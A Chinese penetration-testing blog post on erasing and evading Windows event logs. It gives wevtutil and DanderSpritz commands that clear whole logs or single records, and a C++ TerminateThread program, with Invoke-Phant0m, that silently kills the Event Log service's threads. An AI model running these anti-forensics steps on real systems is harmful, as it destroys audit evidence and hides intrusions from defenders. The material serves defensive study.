渗透技巧——Windows日志的删除与绕过

本文讲的是渗透技巧——Windows日志的删除与绕过


0x00 前言

在渗透测试过程中,Windows日志往往会记录系统上的敏感操作,如添加用户,远程登录执行等。

对于一次完整的渗透测试,通常会选择对Windows日志进行清除和绕过,而对于防御者来说,了解常用的绕过方法也有助于更好的保护自己的系统。

所以本文将要介绍常见的Windows日志清除与绕过方法,分享经验,帮助大家。

0x01 简介

本文将要介绍以下内容:

Windows日志的常用清除方法

Windows日志的两种绕过方法

0x02 Windows日志

Windows日志包括五个类别:

应用程序
安全
Setup
系统
转发事件

查看方式:

1、通过面板

位置如下:

Control PanelSystem and Security-View event logs-Windows Logs

如下图

2、通过Powershell

常用命令如下:

(管理员权限)

查看所有日志:

Get-WinEvent

查看应用程序类别下的日志:

Get-WinEvent -FilterHashtable @{logname="Application";}

0x03 Windows日志的常用清除方法

1、wevtutil.exe

操作系统默认包含,支持系统:Win7及以上

常用命令如下:

(1) 统计日志列表,查询所有日志信息,包含时间,数目

wevtutil.exe gli Application

操作如下图

(2) 查看指定类别的日志内容

wevtutil qe /f:text Application

操作如下图

(3) 删除该类日志所有内容

wevtutil cl Application

操作如下图

Application日志全部清除,数目为0

(4) 删除单条内容

尚不支持

2、NSA DanderSpiritz

DanderSpritz是NSA的一款界面化的远控工具

相关介绍可参考:

https://3gstudent.github.io/3gstudent.github.io/NSA-DanderSpiritz%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97-%E6%9C%A8%E9%A9%AC%E7%94%9F%E6%88%90%E4%B8%8E%E6%B5%8B%E8%AF%95/

常用命令如下:

(1) 统计日志列表,查询所有日志信息,包含时间,数目

eventlogquery -log Application

(2) 查看指定类别的日志内容

eventlogfilter -log Application -num 10

(3) 删除该类日志所有内容

eventlogclear -log Application

(4) 删除单条内容

eventlogedit -log Application -record 1

注:

record序号可通过eventlogfilter获得

0x04 Windows日志的绕过方法

本文介绍的思路参考自Halil Dalabasmaz@hlldz的文章,地址如下:

https://artofpwn.com/phant0m-killing-windows-event-log.html

绕过原理:

Windows日志对应于eventlog服务,找到该服务对应的进程svchost.exe,进而筛选出svchost.exe进程中具体实现日志功能的线程,调用TerminateThread结束线程,破坏日志记录功能

特别的地方:

由于只结束了实现日志功能的线程,所以Windows Event Log服务没有被破坏,状态仍为正在运行

绕过方法一

1、定位eventlog服务对应进程svchost.exe的pid

2、遍历该进程中的所有线程

3、判断线程是否满足条件

Windows Event Log 服务需要调用wevtsvc.dll,完整路径为%WinDir%System32wevtsvc.dll

并且,如果线程调用了wevtsvc.dll,就可以判读该线程实现了日志记录功能

4、结束线程

使用TerminateThread

注:

Halil Dalabasmaz@hlldz使用powershell实现了方法一,完整代码可参考:

https://github.com/hlldz/Invoke-Phant0m

powershell脚本执行后,Windows日志功能失效,无法记录日志,操作如下图

5、恢复方法

结束进程svchost.exe

重新开启Windows Event Log 服务:

net start eventlog

操作如下图

绕过方法二

1、定位eventlog服务对应进程svchost.exe的pid

powershell代码如下:

Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

找到svchost.exe的pid为7008,如下图

2、遍历该进程中的所有线程

使用PsList

pslist下载地址如下:

https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx

具体参数如下:

pslist.exe /accepteula -d 7008

获取进程svchost.exe中的所有线程,如下图

3、判断线程是否满足条件

获取线程对应的服务,如果为eventlog,则满足条件

使用工具:ScTagQuery

下载地址:

http://www.winsiderss.com/tools/sctagquery/sctagqry.zip

具体参数如下:

sctagqry.exe -t 7928

根据返回的结果Service Tag,判断线程对应的服务

找到对应eventlog的线程,如下图

线程8136符合条件,依次尝试,直到获取所有符合条件线程

注:

使用Process Explorer可以简化此过程

找到eventlog服务对应进程svchost.exe

如下图

右键查看属性,选择Threads标签,查看线程,可直接获得线程对应的服务

如下图

符合条件的线程TID为:

8136
8052
6708
2316
6356

4、结束线程

调用TerminateThread

通过c++实现,部分代码如下:

int main(int argc, char* argv[])
{   
    printf("TerminateThread TID:n");       
    for(int i=1;i<argc;i++)
    {   
        printf("%sn",argv[i]);
        HANDLE hThread = OpenThread(0x0001, FALSE,atoi(argv[i]));
        if(TerminateThread(hThread,0)==0)
            printf("[!] TerminateThread Error, TID: %s n",argv[i]);
        CloseHandle(hThread);
    }  
    return 0;
}

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Windwos-EventLog-Bypass/blob/master/TerminateEventLogThread.cpp

控制台支持传入多个参数,向其传入5个TID: 8136 8052 6708 2316 6356

自动结束对应线程,日志功能失效

具体操作如下图

注:

稍后我会在github上更新该绕过方法的完整实现代码,地址如下:

https://github.com/3gstudent/Windwos-EventLog-Bypass

0x05 补充

1、安装sysmon可对Windows日志功能进行扩展

相关介绍和绕过思路可参考;

https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/

2、绕过方法仅针对Windows日志

对应用程序和服务日志失效,例如Windows Powershell

如下图

0x06 小结

本文对Windows日志的清除和绕过方法做了介绍,希望能够帮助大家,接下来会分享绕过方法二的具体程序实现方法。

原文发布时间为:2017年7月1日

本文作者:3gstudent 

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-09-20 00:20:49

渗透技巧——Windows日志的删除与绕过的相关文章

利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过

本文讲的是利用API NtQueryInformationThread和I_QueryTagInformation实现对Windows日志监控的绕过, 0x00 前言 在上篇文章<渗透技巧--Windows日志的删除与绕过>中提到一个绕过Windows日志监控的思路:使用API NtQueryInformationThread和I_QueryTagInformation获取线程对应的服务,关闭对应日志记录功能的线程,能够破坏日志功能,并且Windows Event Log服务没有被破坏,状态仍

渗透技巧:Windows平台运行Masscan和Nmap

本文讲的是渗透技巧:Windows平台运行Masscan和Nmap, 0x00 前言 在内网渗透中,信息搜集尤为重要.  面对内网的复杂环境,虽说网络扫描容易暴露自己,但通过扫描可以发现内网的存活主机.开放端口,运行服务.操作系统等信息,为进一步渗透奠定基础.  扫描工具的选取,不仅要考虑功能,更要考虑工具的适用性.  现实中的跳板通常并不是一台Linux服务器,没有合适的环境安装Nmap.Zmap和Masscan.  换句话说,可在Windows下直接使用的命令行扫描工具有哪些呢? 知名的开源

Windows 日志攻防之攻击篇

本文讲的是Windows 日志攻防之攻击篇, 引言 从防御者视角来说,回溯攻击过程中日志分析是不可或缺的一个环节,国内对此日志方面的攻防探讨甚少,笔者结合自己渗透过程中的一些经验,浅显的谈一谈在攻击者的角度如何来利用日志,希望此文能抛砖引玉,改变国内安全从业者跪舔国外安全研究人员的这种"拿来主义". 思路 就日志来说,见过不少较为暴力的方式是将整个日志进行删除,此种攻击行为笔者通常称之为不优雅,真正高阶的渗透应该是悄然而入再隐秘而出.因此,可以总结出如下能够在渗透过程中对日志发起的攻击

Linux定时切割Nginx访问日志并删除指定天数前的日志记录

说明: 操作系统:CentOS 站点1:bbs .111cn.net 站点2:sns .111cn.net Nginx安装路径:/usr/local/nginx Nginx配置文件路径:/usr/local/nginx/conf/nginx.conf 站点1配置文件路径:/usr/local/nginx/conf/vhost/bbs.111cn.net.conf 站点2配置文件路径:/usr/local/nginx/conf/vhost/sns.111cn.net.conf 目的: 1.对站点1

nginx访问日志并删除指定天数前的日志记录配置方法_nginx

说明: 操作系统:CentOS 站点1:bbs.jb51.net 站点2:sns.jb51.net Nginx安装路径:/usr/local/nginx Nginx配置文件路径:/usr/local/nginx/conf/nginx.conf 站点1配置文件路径:/usr/local/nginx/conf/vhost/bbs.jb51.net.conf 站点2配置文件路径:/usr/local/nginx/conf/vhost/sns.jb51.net.conf 目的: 1.对站点1和站点2的n

zt:用Syslog 记录UNIX和Windows日志的方法

http://www.chinalinuxpub.com/read.php?wid=1720 在比较大规模的网络应用或者对安全有一定要求的应用中,通常需要对系统的日志进行记录分类并审核,默认情况下,每个系统会在本地硬盘上记录自己的日志,这样虽然也能有日志记录,但是有很多缺点:首先是管理不便,当服务器数量比较多的时候,登陆每台服务器去管理分析日志会十分不便,其次是安全问题,一旦有入侵者登陆系统,他可以轻松的删除所有日志,系统安全分析人员不能得到任何入侵信息.因此,在网络中安排一台专用的日志服务器来

如何构建windows日志收集服务器

以前我在讲MCITP课程时,经常会提到事件日志查看这项Windows 产品自带的功能,但是总感觉如果企业规模小,服务器数量少的话,那么管理员登录到每台服务器查看报错日志还可以,但是当我在运维过程中发现随着服务器数量的不断增加,管理员再去一台一台登录服务器查看相关报错日志,可能就有些不便了,那么有没有一种更好地办法能让管理员登录一台服务器就可以查看到所有服务器的日志报错呢? 其实办法还是有的,但是在提解决办法前呢,还是不得不说一说Windows 事件日志,在Windows server 2008

使用Evtsys把Windows日志转换为SYSLOG

我们知道,无论是Unix.Linux.FreeBSD.Ubuntu,还是路由器.交换机,都会产生大量的日志,而这些,一般会以syslog的形式存在.调试过防火墙.入侵检测.安全审计等产品的朋友应该对SYSLOG熟悉,如果您还不了解SYSLOG,请登录百度或Google查询. 很多时候,我们需要对日志进行集中化管理,如各种操作系统.网络设备.安全设备,甚至应用系统.业务系统等,但是不知道你注意看上文了没:Windows的应用.安全.系统日志怎么办? Windows操作系统本身是可以产生很多日志的,

几种常见的Windows日志转SYSLOG工具的使用方法

随着信息技术的高速发展,网络中的设备越来越多的,渐渐的我们发现依赖传统手段去一台台分析设备(路由器.交换机.防火墙.服务器.数据库.中间件等)的日志已经严重影响了我们的工作效率,并无法对业务系统的可用性提供保障.总是在问题出现之后才充当救火员的角色.所以,是时候对运维日志进行集中管理了. 关键词:syslog 日志管理 如第一段文字所说,运维日志有很多种,今天我们先说如何进行Windows日志的发送,毕竟这个毕竟容易下手--游侠会在近期撰写服务端的一些文字. Windows操作系统本身是可以产生